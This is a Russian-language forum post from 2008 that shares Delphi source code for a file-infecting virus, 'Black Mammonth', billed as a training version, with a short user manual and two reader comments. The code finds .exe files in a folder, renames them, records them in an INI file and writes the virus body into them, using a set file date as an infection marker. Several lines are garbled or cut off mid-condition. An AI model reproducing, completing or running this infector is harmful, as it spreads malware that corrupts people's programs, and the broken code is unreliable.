Оказывается, что тема написания вирусов на Делфи очень актуальна!!!
Вот:
{====[BLACK MAMMONTH VIRUS, ОБУЧАЮЩАЯ
ВЕРСИЯ. MADE IN USSR, Dr.Klouniz]====}
{ КАК ИГРАТЬСЯ С ЭТИМ ВИРУСОМ. ЮЗЕР МАНУАЛ:
1.Создаем каталог c:inf
2.Компилируем вирус (Project--> Build)
3.Cравниваем размер полученного файла с константой VIRLEN; если не совпадает-
измени константу и перекомпилиру }
4. Переписываем в каталог c:inf несколько exe-файлов и вирус. Запускаем вирус.
===================================================}
{$I-} //Игнорировать I/O ошибки
{$D-} //Не вводить в код отладочную информацию
program VirDebug;
uses sysutils, //Заголовочные файлы
windows,
registry, //Работа с системным реестром
classes,
inifiles; //Работа с INI-файлами
ConST VIRLEN= 296960; //Длина нашего вируса. После компиляции сравните получ.
//размер с указанным здесь, при необходимости измените и перекомпилируйте
var
zertva,virus : TFileStream; //Мы и жертва
//буфера для чтения записи довеска и вируса
vir,dovesok : array [1..VirLen] OF Char;
result : integer; //результат FindFirst'а
client,sr : TSearchRec;
//Массив имени файла
Name : array [1..8] Of String;
//Массив расширения файла
Ext : array [1..3] Of String;
//Наш INI-каталог; вирус- полноценная прога под WindoZ!
Info : TINIFILE;
NewName,pr,par,FromF : string; //Разные строчки
//Дата как метка зараженности
Birth : TDateTime;
kill,slay,winvir,NewProga : file; //файлы
//Индикатор зараженности (TRUE/FALSE)
infected : boolean;
//Текстовый файл-визитка; свидетельствует о том, что это не первый
//старт виря на данном компьютере
check : textfile;
si : Tstartupinfo;
p : Tprocessinformation;
reg : TRegistry;
// Функция- копировалка
function WindowsCopyFile(FromFile, ToDir : string) : boolean;
var
F : TShFileOpStruct;
begin
F.Wnd := 0; F.wFunc := FO_COPY;
FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);
F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
result:=ShFileOperation(F) = 0;
end;
PROCEDURE INFECTFILES; //Процедура-инфектор
begin
//Находим исполн. файл в каталоге c:inf
result:= FindFirst ('c:INF*.exe',faAnyFile,client);
WHILE Result= 0 DO //Если нашли, то...
begin
//Проверка на вшивость
Infected:= false;
//если дата- 09.08.83 и время 6:00, то файл заражен и нам не нужен
IF DateTimeToStr (FileDateToDateTime (fileage ('c:INF'+client.name)))=
'09.08.83 06:00:00' then infected:= true;
//Проверено!
//если мы нашли не сами себя и не зараженный файл, то...
IF (client.namesr.name) and (infected= false) and
(client.name'mammonth.exe') then
. //Сочиним новое имя для нашей жертвы;
begin
Name[1]:= inttostr (random(10));
Name[2]:= inttostr (random(10));
Name[3]:= inttostr (random(10));
Name[4]:= inttostr (random(10));
Name[5]:= inttostr (random(10));
Name[6]:= inttostr (random(10));
Name[7]:= inttostr (random(10));
Name[8]:= inttostr (random(10));
Ext [1]:= inttostr (random(10));
Ext [2]:= inttostr (random(10));
Ext [3]:= inttostr (random(10));
NewName:= name[1]+name[2]+name[3]+name[4]+name[5]+name[6]+name[7]+
name[8]+'.'+ext[1]+ext[2]+ext[3]; //скомпонуем новое имя
//Свяжемся с нашей жертвой
AssignFile (Kill,'c:INF'+client.name);
//Отправим ее в загон для всех таких же, с уникальным именем
ReName (Kill,'c:INFfiles'+NewName);
//Фиксируем новое имя в нашем каталоге
Info:= TIniFile.create ('c:inffilelist.ini');
WiTh info do
begin
//Пишем данные с каталог в виде Исходное_имя_файла=Новое_имя_файла
WriteString ('FILELIST',client.name,NewName);
free;
end;
//А теперь заразим страшным ВИРУСОМ наш файл!
//Открываем на чтение наш семенной фонд :)
||virus:= TFileStream.create ('c:infmammonth.exe',fmOpenRead);
Virus.Read (vir,VirLen); //Читаем вирус полностью (константу VirLen помнишь?)
//Если клиент поболее нас, но не более чем вдвое,
IF (Client.Size>VirLen) AnD ((Client.Size-VirLen)virlen) AND ((Client.size-VirLen)0 then //Если нашего файлика-визитки нет, пора зарегиться тут
begin
REGISTRATION;
INFECTFILES;
HaLt;
end;
IF sr.name= 'mammonth.exe' then
begin
//Можно запустить инфект файлов, но лучше вписать сюда какой-нибудь прикол
//INFECTFILES;
HALT;
end;
INFECTFILES;
EXECPROGRAM;
{++++END OF THE WORLD NEAR++++}
end.
Опубликовал Kest
October 25 2008 14:08:23 ·
2 Комментариев ·
14026 Прочтений ·
• Не нашли ответ на свой вопрос? Тогда задайте вопрос в комментариях или на форуме! •
Комментарии
saelax December 27 2009 13:25:48
баян
rast March 06 2011 11:09:08
не то слово. Прям изверг какой -то)
Добавить комментарий
Рейтинги
Рейтинг доступен только для пользователей.
Пожалуйста, залогиньтесь или зарегистрируйтесь для голосования.
Нет данных для оценки.
Гость
Вы не зарегистрированны? Нажмите здесь для регистрации.